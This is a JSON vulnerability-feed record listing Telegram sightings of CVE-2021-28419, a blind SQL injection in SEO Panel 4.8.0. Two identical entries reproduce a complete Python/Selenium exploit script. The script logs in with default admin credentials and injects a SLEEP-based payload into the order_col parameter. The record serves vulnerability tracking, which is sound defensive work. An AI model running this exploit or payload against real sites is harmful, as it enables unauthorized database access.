{"vulnerability": "cve-2021-28419", "sightings": [{"uuid": "86949150-192b-41b4-a09a-93959d1db54d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/261", "content": "CVE-2021-28419 SEO Panel 4.8.0 - 'order_col' SQL\u76f2\u6ce8\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28419_SEO_Panel_4.8.0_-_%27order_col%27_SQL%E7%9B%B2%E6%B3%A8%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-04-26T11:52:17.000000Z"}, {"uuid": "01b44578-a56d-41a6-81b6-0639185afd7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "seen", "source": "https://t.me/cibsecurity/25089", "content": "\u203c CVE-2021-28419 \u203c\n\nThe \"order_col\" parameter in archive.php of SEO Panel 4.8.0 is vulnerable to time-based blind SQL injection, which leads to the ability to retrieve all databases.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T15:32:06.000000Z"}, {"uuid": "189b8de7-1d55-4514-b469-d9b4b1e00130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "seen", "source": "https://t.me/hacking_Attack/6551", "content": "Exploit Collector\nSEO Panel 4.8.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nSEO Panel version 4.8.0 remote blind SQL injection exploit. Original discovery in this version is attributed to Piyush Patil in February of 2021.\n\nMD5 | 4b18d3433a071c4d3f98f08f8abcd113\n\nDownload\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty\n# Date: 04.25.2021\n# Vendor: https://www.seopanel.org/\n# Link: https://www.seopanel.org/spdownload/4.8.0\n# CVE: CVE-2021-28419\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28419\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.3/seopanel/login.php\"\n\n#enter your login username\nusername=\"spadmin\"\n\n#enter your login password\npassword=\"spadmin\"\n\n#enter the element for username input field\nelement_for_username=\"userName\"\n\n#enter the element for password input field\nelement_for_password=\"password\"\n\n#enter the element for submit button\nelement_for_submit=\"login\"\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit\nbrowser.get((\"\nhttp://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT\n7397 FROM\n(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1\"))\n\nprint(\"payload is deployed MySQL is not responding correctly...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Date: 04.25.2021\n# Exploit Authotr idea: @nu11secur1ty, xoffense\n# Exploit Debugging: nu11secur1ty\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link: https://www.seopanel.org/spdownload/4.8.0\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28419\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:45.286277Z"}, {"uuid": "96982c5b-6dbf-4a95-b8db-00a62c1658ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "seen", "source": "https://t.me/hacking_Attack/6551", "content": "Exploit Collector\nSEO Panel 4.8.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nSEO Panel version 4.8.0 remote blind SQL injection exploit. Original discovery in this version is attributed to Piyush Patil in February of 2021.\n\nMD5 | 4b18d3433a071c4d3f98f08f8abcd113\n\nDownload\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty\n# Date: 04.25.2021\n# Vendor: https://www.seopanel.org/\n# Link: https://www.seopanel.org/spdownload/4.8.0\n# CVE: CVE-2021-28419\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28419\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.3/seopanel/login.php\"\n\n#enter your login username\nusername=\"spadmin\"\n\n#enter your login password\npassword=\"spadmin\"\n\n#enter the element for username input field\nelement_for_username=\"userName\"\n\n#enter the element for password input field\nelement_for_password=\"password\"\n\n#enter the element for submit button\nelement_for_submit=\"login\"\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit\nbrowser.get((\"\nhttp://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT\n7397 FROM\n(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1\"))\n\nprint(\"payload is deployed MySQL is not responding correctly...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Date: 04.25.2021\n# Exploit Authotr idea: @nu11secur1ty, xoffense\n# Exploit Debugging: nu11secur1ty\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link: https://www.seopanel.org/spdownload/4.8.0\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28419\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:20.590704Z"}]}